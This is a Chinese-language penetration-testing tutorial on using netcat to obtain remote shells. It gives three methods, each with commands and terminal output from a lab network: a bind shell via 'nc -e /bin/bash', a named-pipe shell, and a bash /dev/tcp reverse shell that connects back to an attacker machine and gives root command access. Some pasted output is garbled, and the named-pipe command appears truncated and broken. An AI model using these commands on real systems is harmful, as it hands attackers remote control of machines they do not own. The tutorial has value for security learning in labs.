nc帮助文档上面说的是TCP/IP协议中的swiss army knife,是一个使用tcp或udp协议通过网络连接来读写数据的一个简单的多功能的工具!在渗透中经常用于反弹shell,用于交互式执行shell,或者用于提权!
基本使用语法:
1
|
nc 选项 IP port |
基本参数说明:
1
2
3
|
-l:监听端口,监听入站信息 -p:后跟本地端口号 -v:显示端口的信息,多数人喜欢使用-vv,但是我用了没看到有什么区别 |
第一种方法:
第一种的话需要目标主机直接就是外网独立ip才可以,如果是通过内网映射出来的,就不适用这个方法了!
目标主机:
1
|
nc -lvp 2222 -e /bin/bash
|
1
2
|
root@kali:~ # nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ... |
攻击主机:
1
|
nc 目标机IP 2222 |
1
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222 |
此时我们查看目标主机:
1
2
3
4
|
root@kali:~ # nc -lvp 2222 -e /bin/bash
listening on [any] 2222 ... 192.168.5.1: inverse host lookup failed: Unknown host connect to [192.168.5.128] from (UNKNOWN) [192.168.5.1] 14960 |
此时我们在攻击机就可以执行命令了!
1
2
3
4
5
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc 192.168.5.128 2222 whoami root uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
|
第二种方法:
第二种方法,需要我们有独立外网ip,用于监听返回来的shell!
目标主机:
1
2
|
root@kali:~ # mknod /tmp/backpipe p
root@kali:~ # /bin/sh 0/tmp/backpipe
|
攻击主机:
1
2
3
4
5
6
7
8
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222 lstn on [any] 2222 .. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53404: NO_DATA whoami root uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
|
第三种:
第三种方法需要我们有独立的外网ip,用于接收shell!
目标主机:
1
|
root@kali:~ # bash -i >& /dev/tcp/192.168.5.1/2222 0>&1
|
攻击主机:
1
2
3
4
5
6
7
8
9
10
11
|
F:\\eth10-CTF-Toolkits\\CTF工具包\\连接工具>nc -lvp 2222 lstn on [any] 2222 .. 192.168.5.128: reverse hst chk phailed: h_errno 11004: NO_DATA connect to [192.168.5.1] from (UNKNOWN) [192.168.5.128] 53418: NO_DATA root@kali:~ # uname -a
uname -a
Linux kali 4.6.0-kali1-amd64 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) x86_64 GNU/Linux
root@kali:~ # whoami
whoami root root@kali:~ #exit
|